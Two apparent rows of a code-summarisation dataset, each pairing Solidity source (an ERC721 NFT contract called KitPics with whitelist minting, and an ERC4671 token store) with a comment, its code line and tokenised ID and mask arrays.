require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds");
return _ownedTokens[owner][index];
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _allTokens.length;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds");
return _allTokens[index];
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
} else if (from != to) {
_removeTokenFromOwnerEnumeration(from, tokenId);
}
if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId);
} else if (to != from) {
_addTokenToOwnerEnumeration(to, tokenId);
}
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
uint256 length = ERC721.balanceOf(to);
_ownedTokens[to][length] = tokenId;
_ownedTokensIndex[tokenId] = length;
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = ERC721.balanceOf(from) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
delete _ownedTokensIndex[tokenId];
delete _ownedTokens[from][lastTokenIndex];
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
delete _allTokensIndex[tokenId];
_allTokens.pop();
}
}
// File: contracts/KitPics.sol
pragma solidity ^0.8.0;
contract KitPics is Ownable, ERC721Enumerable, ERC721Burnable {
using Counters for Counters.Counter;
event Mint(address indexed owner, uint256 indexed tokenId);
Counters.Counter public _tokenIdTracker;
bytes32 immutable public root;
uint256 public maxTokens = 5555;
uint256 public constant MINT_FEE = 6 * 10**16;
uint256 public constant MAX_MINT_COUNT = 25;
string private _baseTokenURI = "https://kitpics.art/kits/";
bool public mintEnabled = false; // open minting in general
bool public whitelistMintEnabled = false; // open minting just for whitelist
bool public whitelistRemoved = false; // to be used if a while after mint there are still unclaimed whitelist slots
constructor(bytes32 merkleroot, uint256 whitelistSize, uint256 _maxTokens) ERC721("KitPics", "KIT") {
root = merkleroot;
_tokenIdTracker._value = whitelistSize + 9; // first N are reserved for whitelist, 9 airdrops
maxTokens = _maxTokens; // 5555, just input easier for testing
// airdrop mints
_safeMint(0x2488B49Db678a9598A232bF56a90433993F522c5, 0); // canti
_safeMint(0xc32c9d183CF89f4746F000797542f46F6aa8Cd1d, 1); // grug
_safeMint(0xc80824E1A48cFAc44851048B2De463784b0a42Bd, 2); // panckaes
_safeMint(0x8794d984e0AB8A967347290D931baEFba450075a, 3); // big d
_safeMint(0x6240CD386f5b47C793F321327c3dc6C7856b25A0, 4); // smylbot
_safeMint(0x24c306eaF8631F783d83CF837967b31c100B8358, 5); // hux
_safeMint(0x92e9b91AA2171694d740E7066F787739CA1Af9De, 6); // ti
_safeMint(0x12918F13ce746dA4Cf486B907a93CfFAdbbF9A96, 7); // ippo
_safeMint(0x85B6594d35a12e534e8346a1A9087BCb26b622Ed, 8); // pete
}
function _baseURI() internal view virtual override returns (string memory) {
return _baseTokenURI;
}
function setBaseURI(string memory baseURI) public onlyOwner {
_baseTokenURI = baseURI;
}
function mint(uint256 _count) public payable {
uint256 nextId = _tokenIdTracker.current();
require(_count <= MAX_MINT_COUNT, "Cannot mint more than max per transaction");
require(nextId + _count <= maxTokens, "Supply limit reached");
require(msg.value >= MINT_FEE * _count, "Price not met");
require(mintEnabled, "Mint must be enabled");
for (uint256 i = 0; i < _count; i++) {
_mintSingle();
}
}
function _mintSingle() private {
uint256 nextId = _tokenIdTracker.current();
_safeMint(msg.sender, nextId);
emit Mint(msg.sender, nextId);
_tokenIdTracker.increment();
}
function whitelistMint(address account, uint256 tokenId, bytes32[] calldata proof) public payable {
require(whitelistMintEnabled, "Whitelist mint must be enabled");
if (!whitelistRemoved) {
require(_verify(_leaf(account, tokenId), proof), "Invalid merkle proof");
}
require(msg.value >= MINT_FEE, "Price not met");
_safeMint(account, tokenId);
emit Mint(account, tokenId);
}
function _leaf(address account, uint256 tokenId) internal pure returns (bytes32) {
return keccak256(abi.encodePacked(tokenId, account));
}
function _verify(bytes32 leaf, bytes32[] memory proof) internal view returns (bool) {
return MerkleProof.verify(proof, root, leaf);
}
function withdraw() public onlyOwner {
(bool success, ) = owner().call{value: address(this).balance}("");
require(success, "Transfer failed.");
}
function toggleMint() public onlyOwner {
mintEnabled = !mintEnabled;
}
function toggleWhitelistMint() public onlyOwner {
whitelistMintEnabled = !whitelistMintEnabled;
}
function toggleWhitelistRemoved() public onlyOwner {
whitelistRemoved = !whitelistRemoved;
}
function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual override(ERC721, ERC721Enumerable) {
super._beforeTokenTransfer(from, to, tokenId);
}
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721, ERC721Enumerable) returns (bool) {
return super.supportsInterface(interfaceId);
}
}
|
open minting just for whitelist
|
bool public whitelistMintEnabled = false;
| 324,248 |
[
1,
4625,
348,
7953,
560,
30,
225,
1696,
312,
474,
310,
2537,
364,
10734,
203,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
1426,
1071,
10734,
49,
474,
1526,
273,
629,
31,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/utils/introspection/ERC165.sol";
import "./IERC4671Store.sol";
contract ERC4671Store is IERC4671Store, ERC165 {
// Mapping from owner to IERC4671Enumerable contracts
mapping(address => address[]) private _records;
// Mapping from owner to IERC4671Enumerable contract index
mapping(address => mapping(address => uint256)) _indices;
/// @notice Add a IERC4671Enumerable contract address to the caller's record
/// @param token Address of the IERC4671Enumerable contract to add
function add(address token) public virtual override {
address[] storage contracts = _records[msg.sender];
_indices[msg.sender][token] = contracts.length;
contracts.push(token);
emit Added(msg.sender, token);
}
/// @notice Remove a IERC4671Enumerable contract from the caller's record
/// @param token Address of the IERC4671Enumerable contract to remove
function remove(address token) public virtual override {
uint256 index = _indexOfTokenOrRevert(msg.sender, token);
address[] storage contracts = _records[msg.sender];
if (index == contracts.length - 1) {
_indices[msg.sender][token] = 0;
} else {
_indices[msg.sender][contracts[contracts.length - 1]] = index;
}
contracts[index] = contracts[contracts.length - 1];
contracts.pop();
emit Removed(msg.sender, token);
}
/// @notice Get all the IERC4671Enumerable contracts for a given owner
/// @param owner Address for which to retrieve the IERC4671Enumerable contracts
function get(address owner) public view virtual override returns (address[] memory) {
return _records[owner];
}
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC4671Store).interfaceId ||
super.supportsInterface(interfaceId);
}
function _indexOfTokenOrRevert(address owner, address token) private view returns (uint256) {
uint256 index = _indices[owner][token];
require(index > 0 || _records[owner].length > 0, "Address not found");
return index;
}
}
|
@notice Get all the IERC4671Enumerable contracts for a given owner @param owner Address for which to retrieve the IERC4671Enumerable contracts
|
function get(address owner) public view virtual override returns (address[] memory) {
return _records[owner];
}
| 12,769,870 |
[
1,
4625,
348,
7953,
560,
30,
225,
632,
20392,
968,
777,
326,
467,
654,
39,
8749,
11212,
3572,
25121,
20092,
364,
279,
864,
3410,
632,
891,
3410,
5267,
364,
1492,
358,
4614,
326,
467,
654,
39,
8749,
11212,
3572,
25121,
20092,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
336,
12,
2867,
3410,
